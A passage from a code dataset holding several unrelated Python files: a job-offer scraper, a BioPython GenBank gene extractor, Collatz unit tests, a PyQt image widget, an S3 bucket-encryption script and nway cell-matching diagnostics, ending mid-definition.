def get_offers(self):\n return requests.get(self.url).json()\n\n def parse_offer(self, offer):\n data = {\n \"position\": offer.get(\"title\"),\n \"company\": offer.get(\"company_name\"),\n \"salary\": \"{} - {}\".format(offer.get(\"salary_from\"), offer.get(\"salary_to\")),\n \"url\": \"{}{}\".format(\"https://justjoin.it/offers/\", offer.get(\"id\")),\n \"source\": \"justjoinit\",\n }\n return self.data_class(**data)\n\n\nclass ServicesScraperManager:\n scraper_classes = (NoFluffJobsScraper, JustJoinItScraper)\n\n def __init__(self):\n self.offers = []\n\n def run(self, filter_position=None):\n for scraper_class in self.scraper_classes:\n scraper = scraper_class()\n for offer_data in scraper.get_offers():\n offer = scraper.parse_offer(offer_data)\n if filter_position and filter_position in offer.position.lower():\n self.offers.append(offer)\n return self.offers\n","sub_path":"exercise_1/job_scraper.py","file_name":"job_scraper.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"545534657","text":"import Bio\nfrom Bio import SeqIO\nimport os\ncounter = 1\n\n\nfrom Bio.Seq import Seq\nfrom Bio.Alphabet import generic_dna\nmasterfle = open('/home/vdp5/data/gene_finder/vir_all_ASM241v2/allgenes.txt', 'w')\nmasterfle_prot = open('/home/vdp5/data/gene_finder/vir_all_ASM241v2/allgenes_prot.txt', 'w')\n\n\n\n\ngb_file_test = '/home/vdp5/data/gene_finder/ASM241v2_genbank/GCA_000002415.2_ASM241v2_genomic.gb'\ndata = SeqIO.parse(gb_file_test, \"genbank\")\n\nwhile 5 < 6:\n\n\tbeta = next(data)\n\tstarter = beta.features\n\tfor alpha in starter:\n\t\ttmp = alpha.qualifiers\n\t\tif 'product' in tmp:\n\t\t\tif 'Vir' in tmp['product'][0]:\n\t\t\t\tsequence = alpha.extract(beta.seq)\n\t\t\t\tmasterfle.write('>%s_%s\\n' %(tmp['locus_tag'][0],'nochromid'))\n\t\t\t\tmasterfle.write('%s\\n' %(sequence))\n\t\t\t\tmasterfle_prot.write('>%s_%s\\n' %(tmp['locus_tag'][0],'nochromid'))\n\t\t\t\tmasterfle_prot.write('%s\\n' %(sequence.translate()))\n\t\t\t\tnewfle = open('/home/vdp5/data/gene_finder/vir_all_ASM241v2/all_split/{}.fasta'.format(tmp['locus_tag'][0]),'w')\n\t\t\t\tnewfle.write('>%s_%s\\n' %(tmp['locus_tag'][0],'nochromid'))\n\t\t\t\tnewfle.write('%s\\n' %(sequence))\n\t\t\t\tnewfle.close()\n\t\t\t\tcounter += 1\n\n# for alpha in data.features:\n# \ttmp = alpha.qualifiers\n# \tif 'product' in tmp:\n# \t\tif 'Vir' in tmp['product'][0]:\n# \t\t\tsequence = alpha.extract(data.seq)\n# \t\t\tprint sequence\n# \t\t\tprotseq = alpha.extract(data.seq).translate()\n# \t\t\t# prottrans = tmp['translation'][0]\n# \t\t\t# print prottrans\n# \t\t\toutput_fle = open('%s_%s.fasta' %(tmp['locus_tag'][0], chromname), 'w')\n# \t\t\t# output_fle_prot = open('%s_%s_prot.fasta' %(tmp['locus_tag'][0], chromname), 'w')\n\n# \t\t\toutput_fle.write('>%s | %s\\n' %(tmp['locus_tag'][0], chromname))\n# \t\t\toutput_fle.write('%s\\n' %(sequence))\n# \t\t\toutput_fle.close()\n\n\n# \t\t\t# output_fle_prot.write('>%s | %s\\n' %(tmp['locus_tag'][0], chromname))\n# \t\t\t# output_fle_prot.write('%s\\n' %(protseq))\n# \t\t\t# output_fle_prot.close()\n\n# \t\t\tmasterfle.write('>%s_%s vir %d \\n' %(tmp['locus_tag'][0], chromname, counter))\n# \t\t\tmasterfle.write('%s\\n' %(sequence))\n\n# \t\t\tmasterfle_prot.write('>%s_%s vir %d \\n' %(tmp['locus_tag'][0], chromname, counter))\n# \t\t\tmasterfle_prot.write('%s\\n' %(protseq))\n\n\n# \t\t\tcounter += 1\n\n\n\n\n\n\nmasterfle.close()\nmasterfle_prot.close()\n","sub_path":"predrake_scripts/parse_ASM241v2_gb_biggb.py","file_name":"parse_ASM241v2_gb_biggb.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"217469718","text":"#!/usr/bin/env python3\n\n# -------------------------------\n# projects/collatz/TestCollatz.py\n# Copyright (C) 2015\n# Glenn P. Downing\n# -------------------------------\n\n# https://docs.python.org/3.4/reference/simple_stmts.html#grammar-token-assert_stmt\n\n# -------\n# imports\n# -------\n\ntry:\n from StringIO import StringIO\nexcept ImportError:\n from io import StringIO\nfrom unittest import main, TestCase\n\nfrom Collatz import collatz_read, collatz_eval, collatz_print, collatz_solve, collatz_get_cycle_len, collatz_get_max_cycle_len, collatz_meta_cache\n\n# -----------\n# TestCollatz\n# -----------\n\nclass TestCollatz (TestCase) :\n # ----\n # get_cycle_len\n # ----\n\n def test_get_cycle_len_1(self):\n print('test_get_cycle_len_1')\n i = 9\n cycle_len = collatz_get_cycle_len(i)\n self.assertEqual(cycle_len, 20)\n\n def test_get_cycle_len_2(self):\n print('test_get_cycle_len_2')\n i = 10\n cycle_len = collatz_get_cycle_len(i)\n self.assertNotEquals(cycle_len, 20)\n\n def test_get_cycle_len_3(self):\n print('test_get_cycle_len_3')\n i = 806279\n cycle_len = collatz_get_cycle_len(i)\n self.assertEqual(cycle_len, 75)\n\n def test_get_cycle_len_4(self):\n print('test_get_cycle_len_4')\n i = 287002\n cycle_len = collatz_get_cycle_len(i)\n self.assertEqual(cycle_len, 53)\n\n # -----------------\n # get_max_cycle_len\n # -----------------\n\n def test_get_max_cycle_len_1(self):\n print('test_get_max_cycle_len_1')\n i = 931458\n j = 931458\n max_cycle_len = collatz_get_max_cycle_len(i, j)\n self.assertEqual(max_cycle_len, 78)\n\n def test_get_max_cycle_len_2(self):\n print('test_get_max_cycle_len_2')\n i = 485888\n j = 487038\n max_cycle_len = collatz_get_max_cycle_len(i, j)\n self.assertEqual(max_cycle_len, 382)\n\n def test_get_max_cycle_len_3(self):\n print('test_get_max_cycle_len_3')\n i = 782336\n j = 785917\n max_cycle_len = collatz_get_max_cycle_len(i, j)\n self.assertEqual(max_cycle_len, 375)\n\n def test_get_max_cycle_len_4(self):\n print('test_get_max_cycle_len_4')\n i = 981288\n j = 981856\n max_cycle_len = collatz_get_max_cycle_len(i, j)\n self.assertEqual(max_cycle_len, 321)\n\n # ---------------\n # test_meta_cache\n # ---------------\n\n def test_meta_cache_1(self):\n print('test_meta_cache_1')\n try:\n i = 1\n j = 999\n max_len = collatz_meta_cache(i, j, 1)\n # Expect the test to fail on line above since assertion that i - j > 1000 fails\n self.assertNotEquals(max_len, 179)\n except Exception:\n self.assertFalse(i - j > 1000)\n\n def test_meta_cache_2(self):\n print('test_meta_cache_2')\n i = 852415\n j = 854190\n max_len = collatz_meta_cache(i, j, 1)\n self.assertEqual(max_len, 357)\n\n def test_meta_cache_3(self):\n print('test_meta_cache_3')\n i = 270272\n j = 276733\n max_len = collatz_meta_cache(i, j, 1)\n self.assertEqual(max_len, 363)\n\n # ----\n # read\n # ----\n\n def test_read_1 (self) :\n print('test_read_1')\n s = \"1 10\\n\"\n i, j = collatz_read(s)\n self.assertEqual(i, 1)\n self.assertEqual(j, 10)\n\n def test_read_2 (self) :\n print('test_read_2')\n s = \"999999 999999\\n\"\n i, j = collatz_read(s)\n self.assertEqual(i, 999999)\n self.assertEqual(j, 999999)\n\n def test_read_3 (self) :\n print('test_read_3')\n s = \"1 2\\n\"\n i, j = collatz_read(s)\n self.assertNotEquals(i, 2)\n self.assertNotEquals(j, 1)\n\n # ----\n # eval\n # ----\n\n def test_eval_1 (self) :\n print('test_eval_1')\n v = collatz_eval(1, 10)\n self.assertEqual(v, 20)\n\n def test_eval_2 (self) :\n print('test_eval_2')\n v = collatz_eval(100, 200)\n self.assertEqual(v, 125)\n\n def test_eval_3 (self) :\n print('test_eval_3')\n v = collatz_eval(201, 210)\n self.assertEqual(v, 89)\n\n def test_eval_4 (self) :\n print('test_eval_4')\n v = collatz_eval(900, 1000)\n self.assertEqual(v, 174)\n\n def test_eval_5 (self) :\n print('test_eval_5')\n v = collatz_eval(10, 10)\n self.assertEqual(v, 7)\n\n def test_eval_6 (self) :\n print('test_eval_6')\n v = collatz_eval(50, 1)\n self.assertEqual(v, 112)\n\n def test_eval_7 (self) :\n print('test_eval_7')\n v = collatz_eval(100000, 200000)\n self.assertEqual(v, 383)\n\n # -----\n # print\n # -----\n\n def test_print_1 (self) :\n print('test_print_1')\n w = StringIO()\n collatz_print(w, 1, 10, 20)\n self.assertEqual(w.getvalue(), \"1 10 20\\n\")\n\n def test_print_2 (self) :\n print('test_print_2')\n w = StringIO()\n collatz_print(w, 5259, 1674, 238)\n self.assertEqual(w.getvalue(), \"5259 1674 238\\n\")\n\n def test_print_3 (self) :\n print('test_print_3')\n w = StringIO()\n collatz_print(w, 97376, 91249, 333)\n self.assertEqual(w.getvalue(), \"97376 91249 333\\n\")\n\n def test_print_4 (self) :\n print('test_print_4')\n w = StringIO()\n collatz_print(w, 985934, 982492, 427)\n self.assertEqual(w.getvalue(), \"985934 982492 427\\n\")\n\n # -----\n # solve\n # -----\n\n def test_solve_1 (self) :\n print('test_solve_1')\n r = StringIO(\"1 10\\n100 200\\n201 210\\n900 1000\\n\")\n w = StringIO()\n collatz_solve(r, w)\n self.assertEqual(w.getvalue(), \"1 10 20\\n100 200 125\\n201 210 89\\n900 1000 174\\n\")\n\n def test_solve_2 (self) :\n print('test_solve_2')\n r = StringIO(\"13954 365154\\n813482 915698\\n190893 442183\\n153758 392830\\n\")\n w = StringIO()\n collatz_solve(r, w)\n self.assertEqual(w.getvalue(), \"13954 365154 443\\n813482 915698 525\\n190893 442183 449\\n153758 392830 443\\n\")\n\n def test_solve_3 (self) :\n print('test_solve_3')\n r = StringIO(\"1 2\\n2 1\\n1 4\\n4 1\\n\")\n w = StringIO()\n collatz_solve(r, w)\n self.assertEqual(w.getvalue(), \"1 2 2\\n2 1 2\\n1 4 8\\n4 1 8\\n\")\n\n# ----\n# main\n# ----\n\nif __name__ == \"__main__\" :\n print('in main')\n main()\n\n\"\"\"\n% coverage3 run --branch TestCollatz.py > TestCollatz.out 2>&1\n\n\n\n% coverage3 report -m >> TestCollatz.out\n\n\n\n% cat TestCollatz.out\n.......\n----------------------------------------------------------------------\nRan 7 tests in 0.001s\n\nOK\nName Stmts Miss Branch BrMiss Cover Missing\n---------------------------------------------------------\nCollatz 18 0 6 0 100%\nTestCollatz 33 1 2 1 94% 79\n---------------------------------------------------------\nTOTAL 51 1 8 1 97%\n\"\"\"\n","sub_path":"md26977-TestCollatz.py","file_name":"md26977-TestCollatz.py","file_ext":"py","file_size_in_byte":6955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"294998833","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtOpenGL import *\n\n\nclass ShrinkableQlabel(QGraphicsView):\n\n mScene = QGraphicsScene()\n mPixmapItem = QGraphicsPixmapItem()\n mSource = QImage()\n mutex = QMutex()\n mHighQuality = 1\n\n def __init__(self, parent):\n super(ShrinkableQlabel, self).__init__(parent)\n self.setup()\n def setup(self):\n self.setFocusPolicy(Qt.NoFocus)\n self.setFrameStyle(QFrame.NoFrame)\n self.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n self.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n\n #setup\n fmt = QGLFormat()\n fmt.setSampleBuffers(False)\n fmt.setDoubleBuffer(True)\n fmt.setDirectRendering(True)\n fmt.setSwapInterval(1)\n fmt.setStencil(False)\n fmt.setRgba(False)\n fmt.setDepth(False)\n self.setupViewport(QGLWidget(fmt))\n self.viewport().setAttribute(Qt.WA_OpaquePaintEvent)\n self.viewport().setAttribute(Qt.WA_NoSystemBackground)\n\n self.mScene = QGraphicsScene(self)\n self.setScene(self.mScene)\n self.mPixmapItem = QGraphicsPixmapItem()\n self.mScene.addItem(self.mPixmapItem)\n\n def setHighQuality(self,high):\n self.mHighQuality = high\n\n def setImage(self,aPicture):\n self.mSource = aPicture\n self.displayImage()\n self.fitInView(0,0,self.mScene.width(),self.mScene.height(),Qt.KeepAspectRatio)\n\n def displayImage(self):\n self.mutex.lock()\n pixmap = QPixmap.fromImage(self.mSource)\n self.mPixmapItem.setTransformationMode(Qt.SmoothTransformation if self.mHighQuality else Qt.FastTransformation)\n self.mPixmapItem.setPixmap(pixmap)\n self.mScene.setSceneRect(self.mPixmapItem.boundingRect())\n self.mutex.unlock()\n\n def getRenderSize(self):\n s = QSizeF(self.mScene.width(),self.mScene.height())\n ratio = 1.0\n if (self.mScene.height()>self.mScene.width()):\n ratio = (self.mScene.height()/self.height())\n\n else:\n ratio = (self.mScene.width()/self.width())\n\n if (ratio == 0):\n ratio = 1.0\n\n\n return s/ratio\n\n\n\n\n\n\n","sub_path":"shrinkableqlabel.py","file_name":"shrinkableqlabel.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"321947613","text":"#Encrypt all your existing buckets and its objects with aes256. \n#Install boto3 using: pip3 install boto3 \n#configure AWS credentials using aws configure\n# remove safe_buckets after testing and change the for loop as for bucket in buckets.\n# run as python3 s3_encryption_aes256.py\n# Future modifications: Give the count of how many buckets are encrypted and how many are already encrypted.\n# Ref: https://gist.github.com/dangarfield/766d4c7b02e544e8c62f5c87e6f894a9\n\nimport sys\nimport boto3\nfrom botocore.exceptions import ClientError\n\n# obv input needed\nsession = boto3.Session(profile_name='default')\ns3_client = session.client('s3')\ns3_resource = session.resource('s3')\n\n# Get all buckets\nbuckets = [s3_resource.Bucket(bucket['Name']) for bucket in s3_client.list_buckets()['Buckets']]\n\n# TEST line for quickly testing buckets\nsafe_buckets = buckets[-4:]\n\n# Loop through all buckets\nfor bucket in safe_buckets:\n print (bucket.name)\n try:\n #print (s3_client.get_bucket_encryption(Bucket=bucket.name))\n encrypted_bucket = len(s3_client.get_bucket_encryption(Bucket=bucket.name)['ServerSideEncryptionConfiguration']['Rules']) > 0\n if encrypted_bucket:\n print (bucket.name + ' - Encrypted')\n except ClientError as e:\n if e.response['Error']['Code'] == 'ServerSideEncryptionConfigurationNotFoundError':\n add_encryption_response = s3_client.put_bucket_encryption(\n Bucket=bucket.name,\n ServerSideEncryptionConfiguration={\n 'Rules': [\n {\n 'ApplyServerSideEncryptionByDefault': {\n 'SSEAlgorithm': 'AES256'\n }\n }\n ]\n }\n )\n # print (add_encryption_response)\n print (bucket.name + \" - Bucket now encrypted\")\n # else:\n # print (\"Unexpected error: %s\" % e)\nfor bucket in safe_buckets:\n for obj in bucket.objects.all():\n t_obj = s3_resource.Object(obj.bucket_name, obj.key)\n print (obj.key + ' - ' + str(t_obj.server_side_encryption))\n if not t_obj.server_side_encryption:\n bucket.copy(\n {\n 'Bucket': obj.bucket_name,\n 'Key': obj.key\n },\n obj.key\n )\n print (bucket.name + ' - ' + obj.key + ' - Object now encypted')\n\nprint ('All objects in all buckets are encrypted! Well done!')\n","sub_path":"s3_encryption_aes256.py","file_name":"s3_encryption_aes256.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"435301836","text":"import itertools\nimport json\nimport os\nimport time\nfrom pathlib import Path\nfrom typing import Tuple\n\nimport matplotlib.gridspec as gridspec\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport PIL.Image\nfrom argschema import ArgSchemaParser\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom matplotlib.figure import Figure\nfrom skimage.metrics import structural_similarity\n\nimport nway.image_processing_utils as imutils\nfrom nway.schemas import NwayDiagnosticSchema, NwayMatchSummarySchema\n\n\ndef cell_experiment_dict(nway_output_path):\n \"\"\"lookup dict for experiment by cell ID\n\n Parameters\n ----------\n nway_output_path : str\n path to output json from NwayMatching\n\n Returns\n -------\n lookup : dict\n dictionary with \"cellID\": \"experimentID\"\n\n \"\"\"\n with open(nway_output_path, 'r') as f:\n j = json.load(f)\n lookup = {}\n for pw in j['pairwise_results']:\n print(list(pw.keys()))\n for k in ['rejected', 'matches']:\n for pair in pw[k]:\n lookup[pair['fixed']] = pw['fixed_experiment']\n lookup[pair['moving']] = pw['moving_experiment']\n for cellid in pw['unmatched']['fixed']:\n lookup[cellid] = pw['fixed_experiment']\n for cellid in pw['unmatched']['moving']:\n lookup[cellid] = pw['moving_experiment']\n return lookup\n\n\ndef pairwise_transforms(\n nway_output_path, fig=None, subplot_spec=None, fontsize=6):\n \"\"\"summarize transform parameters and optionally plot\n\n Parameters\n ----------\n nway_output_path : str\n path to output json from NwayMatching\n fig : :class:`matplotlib.figure.Figure`\n destination figure for plots. No plotting if None\n subplot_spec : :class:`matplotlib.gridspec.SubplotSpec`\n destination SubplotSpec for plots. If None, subplots\n consumer entire figure\n fontsize : int\n fontsize for text in plot\n\n Returns\n -------\n results : dict\n summarized pairwise transform parameters and experiment ids\n\n \"\"\"\n # read the results into lists\n with open(nway_output_path, 'r') as f:\n j = json.load(f)\n pairs = j['pairwise_results']\n props = list(pairs[0]['transform']['properties'].keys())\n results = {}\n for k in props:\n results[k] = [pair['transform']['properties'][k] for pair in pairs]\n results['ids'] = [\n \"%d-\\n%d\" % (\n pair['moving_experiment'],\n pair['fixed_experiment']) for pair in pairs]\n\n if fig is not None:\n # plot, if a figure is provided\n if subplot_spec is None:\n # these subplots fill entire figure\n outer_plot_grid = gridspec.GridSpec(1, 1, wspace=0.2, hspace=0.2)\n subplot_spec = outer_plot_grid[0]\n\n inner_plot_grid = gridspec.GridSpecFromSubplotSpec(\n len(props), 1, subplot_spec=subplot_spec,\n wspace=0.1, hspace=0.1)\n\n x = np.arange(len(results['ids']))\n labels = ['x', 'y']\n for ip, prop in enumerate(props):\n ax = fig.add_subplot(inner_plot_grid[ip])\n ares = np.array(results[prop])\n if len(ares.shape) == 1:\n ares = ares.reshape(-1, 1)\n ares = ares.transpose()\n for iv, v in enumerate(ares):\n ax.plot(x, v, '-o', label=labels[iv])\n ax.set_ylabel(prop, fontsize=fontsize)\n if ares.shape[0] == 2:\n ax.legend(ncol=2, fontsize=fontsize, loc='best', frameon=False)\n ax.set_xticks(x)\n ax.set_xticklabels([])\n if ip == 0:\n ax.set_title(\n 'pairwise transform properties', fontsize=fontsize)\n ax.set_xticklabels(results['ids'], rotation=45, fontsize=fontsize)\n ax.set_xlabel('pairwise experiment IDs', fontsize=fontsize)\n\n return results\n\n\ndef some_grid(n):\n \"\"\"specify a roughly square grid with n elements\n\n Parameters\n ----------\n n : int\n number of elements\n\n Returns\n -------\n (nrow, ncol) : tuple\n shape for new grid\n\n \"\"\"\n nrow = int(np.floor(np.sqrt(n)))\n # NOTE float cast for python 2.7\n ncol = int(np.ceil(float(n) / nrow))\n return (nrow, ncol)\n\n\ndef pairwise_matches(\n nway_output_path, fig=None, subplot_spec=None, fontsize=6):\n \"\"\"summarize pairwise matches and reject costs\n\n Parameters\n ----------\n nway_output_path : str\n path to output json from NwayMatching\n fig : :class:`matplotlib.figure.Figure`\n destination figure for plots. No plotting if None\n subplot_spec : :class:`matplotlib.gridspec.SubplotSpec`\n destination SubplotSpec for plots. If None, subplots\n consumer entire figure\n fontsize : int\n fontsize for text in plot\n\n Returns\n -------\n costs : dict\n costs[pair id] = {\n 'matches': list of costs,\n 'rejected': list of costs}\n allcosts = dict\n 'matches' : concat of all pair matches,\n 'rejected' : concate of all pair rejected\n\n \"\"\"\n # read the results into lists\n with open(nway_output_path, 'r') as f:\n j = json.load(f)\n pairs = j['pairwise_results']\n\n costs = {}\n subkeys = ['matches', 'rejected']\n for pair in pairs:\n k = \"%d-%d\" % (pair['moving_experiment'], pair['fixed_experiment'])\n costs[k] = {}\n for subk in subkeys:\n costs[k][subk] = [m['cost'] for m in pair[subk]]\n allcosts = {}\n for subk in subkeys:\n allcosts[subk] = np.concatenate([c[subk] for c in costs.values()])\n\n if fig is not None:\n # plot, if a figure is provided\n if subplot_spec is None:\n # these subplots fill entire figure\n outer_plot_grid = gridspec.GridSpec(1, 1, wspace=0.2, hspace=0.2)\n subplot_spec = outer_plot_grid[0]\n\n inner_plot_grid = gridspec.GridSpecFromSubplotSpec(\n *some_grid(len(costs)), subplot_spec=subplot_spec,\n wspace=0.1, hspace=0.1)\n\n bins = np.arange(0, 2.1, 0.1)\n\n for ic, ck in enumerate(costs):\n ax = fig.add_subplot(inner_plot_grid[ic])\n ax.hist(\n allcosts['matches'],\n histtype='step',\n color='k',\n bins=bins,\n label='all matches')\n ax.hist(\n allcosts['rejected'],\n histtype='step',\n color='r',\n bins=bins,\n label='all rejected')\n ax.hist(\n costs[ck]['matches'],\n color='k',\n alpha=0.5,\n bins=bins,\n label='pair matches')\n ax.hist(\n costs[ck]['rejected'],\n color='r',\n alpha=0.5,\n bins=bins,\n label='pair rejected')\n ax.legend(loc=2, fontsize=fontsize, title=ck, frameon=False)\n ax.get_legend().get_title().set_fontsize(fontsize)\n ax.set_yscale('log')\n ax.set_xlabel('cost', fontsize=6)\n ax.set_ylabel('match count', fontsize=6)\n rows = inner_plot_grid[ic].rowspan\n cols = inner_plot_grid[ic].colspan\n if rows[0] != (len(rows) - 1):\n ax.set_xticks([])\n if cols[-1] != 0:\n ax.set_yticks([])\n\n return costs, allcosts\n\n\ndef nway_matches(\n nway_output_path, fig=None, fontsize=12):\n \"\"\"summarize pairwise matches and reject costs\n\n Parameters\n ----------\n nway_output_path : str\n path to output json from NwayMatching\n fig : :class:`matplotlib.figure.Figure`\n destination figure for plots. No plotting if None\n fontsize : int\n fontsize for text in plot\n\n Returns\n -------\n allnw : dict\n keys are sorted tuples of match sets\n values are :\n n : number of pairwise matches (< max_distance)\n avecost : average pairwise cost\n\n \"\"\"\n\n _, allcosts = pairwise_matches(nway_output_path)\n\n # read the results into lists\n with open(nway_output_path, 'r') as f:\n j = json.load(f)\n pairs = j['pairwise_results']\n nway = j['nway_matches']\n\n # make a set of tuples of all pairwise matches and rejected\n # (anything within max_distance)\n # keep the tuples ordered so we can search easily\n allpw = {}\n for pair in pairs:\n for subk in ['matches', 'rejected']:\n pw = {tuple(np.sort([m['moving'], m['fixed']])): m['cost']\n for m in pair[subk]}\n allpw.update(pw)\n\n # go through all the nway matches and get the n and mean for each\n # entry\n allnw = {}\n for match in nway:\n k = tuple(match)\n n = 0\n avcost = 0\n for candidate in itertools.combinations(match, 2):\n tsort = tuple(np.sort(candidate))\n if tsort in allpw:\n n += 1\n avcost += allpw[tsort]\n if n != 0:\n allnw[k] = {\n 'n': n,\n 'avecost': avcost / n}\n\n if fig is not None:\n spec = gridspec.GridSpec(ncols=5, nrows=5, figure=fig)\n\n ax0 = fig.add_subplot(spec[1:, 0:4])\n ax_histy = fig.add_subplot(spec[1:5, 4:])\n ax_histx = fig.add_subplot(spec[0, 0:4])\n\n ns = np.array([i['n'] for i in allnw.values()])\n x = np.arange(ns.min(), ns.max() + 1)\n bins = np.arange(0.0, 2.1, 0.1)\n y = []\n cbinned = []\n for ix in x:\n iy = [i['avecost'] for i in allnw.values() if i['n'] == ix]\n y.append(iy)\n h, _ = np.histogram(iy, bins=bins)\n cbinned.append(h)\n cbinned = np.array(cbinned)\n\n ax0.imshow(\n np.flipud(cbinned),\n extent=[\n bins.min(),\n bins.max(),\n ns.min() - 0.5,\n ns.max() + 0.5],\n cmap='gray_r',\n aspect='auto')\n\n xbins = [bins[i:i+2].mean() for i in range(bins.size - 1)]\n ax_histx.bar(\n xbins,\n cbinned.sum(axis=0),\n color='k',\n alpha=0.5,\n width=0.1,\n edgecolor='k')\n ax_histy.barh(\n x,\n cbinned.sum(axis=1),\n color='k',\n alpha=0.5,\n height=1.0,\n edgecolor='k')\n\n ax0.set_xlabel('cost', fontsize=fontsize)\n ax0.set_ylabel('matches per set', fontsize=fontsize)\n ax_histx.set_xticks([])\n ax_histy.set_yticks([])\n ax_histy.set_xlabel('count', fontsize=fontsize)\n ax_histx.set_ylabel('count', fontsize=fontsize)\n ax_histx.set_title('nway match results', fontsize=fontsize)\n ax_histx.set_xlim(ax0.get_xlim())\n ax_histy.set_ylim(ax0.get_ylim())\n\n return allnw\n\n\ndef plot_all(nway_output_path, fname=None):\n fs = (12, 8)\n\n fig1 = plt.figure(clear=True, figsize=fs)\n pairwise_transforms(nway_output_path, fig=fig1)\n\n fig2 = plt.figure(clear=True, figsize=fs)\n pairwise_matches(nway_output_path, fig=fig2)\n\n fig3 = plt.figure(clear=True, figsize=fs)\n nway_matches(nway_output_path, fig=fig3)\n\n if fname is not None:\n p = PdfPages(fname)\n p.savefig(fig1)\n p.savefig(fig2)\n p.savefig(fig3)\n p.close()\n\n\ndef create_nway_input_maps(nway_input: dict) -> Tuple[dict, dict]:\n \"\"\"Create mappings between experiment id, experiment stimulus name,\n and the average intensity projection image arrays.\n\n Parameters\n ----------\n nway_input : dict\n The 'input.json' in dictionary form passed to the nway matching\n module.\n\n Returns\n -------\n Tuple[dict, dict]\n A tuple of two mappings. The first mapping relates experiment ids to\n experiment stimulus names. The second mapping relates experiment ids\n to the average intensity projection image array for the experiment.\n \"\"\"\n ophys_expts = nway_input['experiment_containers']['ophys_experiments']\n\n expt_id_stim_name_map = dict()\n expt_id_avg_image_map = dict()\n for expt in ophys_expts:\n stimulus_name = expt.get('stimulus_name')\n if stimulus_name is None:\n stimulus_name = 'Unknown Stimulus'\n expt_id_stim_name_map[expt['id']] = stimulus_name\n\n avg_image_key = 'ophys_average_intensity_projection_image'\n with PIL.Image.open(expt[avg_image_key]) as im:\n expt_avg_image = np.array(im)\n expt_id_avg_image_map[expt['id']] = expt_avg_image\n\n expt_id_stim_name_map = {k: v for k, v\n in sorted(expt_id_stim_name_map.items(),\n key=lambda x: str(x[1]))}\n\n return (expt_id_stim_name_map, expt_id_avg_image_map)\n\n\ndef create_nway_summary_df(expt_id_stim_name_map: dict,\n expt_id_avg_image_map: dict,\n nway_output: dict) -> pd.DataFrame:\n \"\"\"Create an nway matching summary dataframe necessary for plotting\n match fractions and assessing average image registrations.\n\n Parameters\n ----------\n expt_id_stim_name_map : dict\n A mapping that relates experiment ids to experiment stimulus names.\n Produced by 'create_nway_input_maps'.\n expt_id_avg_img_map : dict\n A mapping that relates experiment ids to the average intensity\n projection image array for the experiment. Produced by\n 'create_nway_input_maps'.\n nway_output : dict\n The 'output.json' in dictionary form produced by the nway matching\n module.\n\n Returns\n -------\n pd.DataFrame\n A pandas DataFrame with the following columns:\n\n fixed_expt (int): The experiment id of the alignment target\n fixed_expt_stim_name (str): The stimulus name for the fixed expt\n moving_expt (int): The experiment id of the image to align\n moving_expt_stim_name (str): The stimulus name for the moving expt\n n_unmatched_fixed (int): Number of ROIs from the fixed experiment which\n could not be matched to a moving experiment's ROI\n n_unmatched_moving (int): Number of ROIs from the moving experiment\n which could not be matched to a fixed experiment's ROI\n n_matches (int): Number of ROIs that were matched between fixed and\n moving experiments\n n_total (int): The total number of ROIs to match\n fraction_matched (float): n_matches divided by n_total\n\n This DataFrame additionally contains the following attributes keys:\n\n warped_images: A mapping that relates a pairwise match to a warped\n registration image\n expt_id_stim_name_map: A mapping that relates an experiment's id with a\n stimulus name (describing the type of experiment)\n expt_id_avg_image_map: A mapping that relates an experiment's id with\n the experiment's average intensity projection image array\n \"\"\"\n pairwise_results = nway_output['pairwise_results']\n\n warped_avg_image_maps = dict()\n df_list = []\n for pair in pairwise_results:\n # Assemble match statistics\n fixed_expt = pair['fixed_experiment']\n fixed_expt_stim_name = expt_id_stim_name_map[fixed_expt]\n\n moving_expt = pair['moving_experiment']\n moving_expt_stim_name = expt_id_stim_name_map[moving_expt]\n\n n_unmatched_fixed = len(pair['unmatched']['fixed'])\n n_unmatched_moving = len(pair['unmatched']['moving'])\n n_matches = len(pair['matches'])\n n_total = n_matches + n_unmatched_fixed + n_unmatched_moving\n fraction_matched = n_matches / float(n_total)\n df_list.append([fixed_expt, fixed_expt_stim_name, moving_expt,\n moving_expt_stim_name, n_unmatched_fixed,\n n_unmatched_moving, n_matches, n_total,\n fraction_matched])\n\n # Recreate warped images\n transform_matrix = np.array(pair['transform']['matrix'])\n transform_type = pair['transform']['transform_type']\n fixed_img = expt_id_avg_image_map[fixed_expt]\n moving_img = expt_id_avg_image_map[moving_expt]\n\n moving_warped = imutils.warp_image(moving_img, transform_matrix,\n transform_type, fixed_img.shape)\n warped_img_key_1 = f\"{moving_expt}_to_{fixed_expt}\"\n warped_avg_image_maps[warped_img_key_1] = moving_warped\n\n inv_transform = np.linalg.inv(transform_matrix)\n fixed_warped = imutils.warp_image(fixed_img, inv_transform,\n transform_type, moving_img.shape)\n warped_img_key_2 = f\"{fixed_expt}_to_{moving_expt}\"\n warped_avg_image_maps[warped_img_key_2] = fixed_warped\n\n columns = ['fixed_expt', 'fixed_expt_stim_name', 'moving_expt',\n 'moving_expt_stim_name', 'n_unmatched_fixed',\n 'n_unmatched_moving', 'n_matches', 'n_total',\n 'fraction_matched']\n nway_summary_df = pd.DataFrame(df_list, columns=columns)\n nway_summary_df = nway_summary_df.sort_values(by=['fixed_expt_stim_name',\n 'moving_expt_stim_name'],\n ignore_index=True)\n nway_summary_df.attrs['warped_images'] = warped_avg_image_maps\n nway_summary_df.attrs['expt_id_stim_name_map'] = expt_id_stim_name_map\n nway_summary_df.attrs['expt_id_avg_image_map'] = expt_id_avg_image_map\n\n return nway_summary_df\n\n\ndef 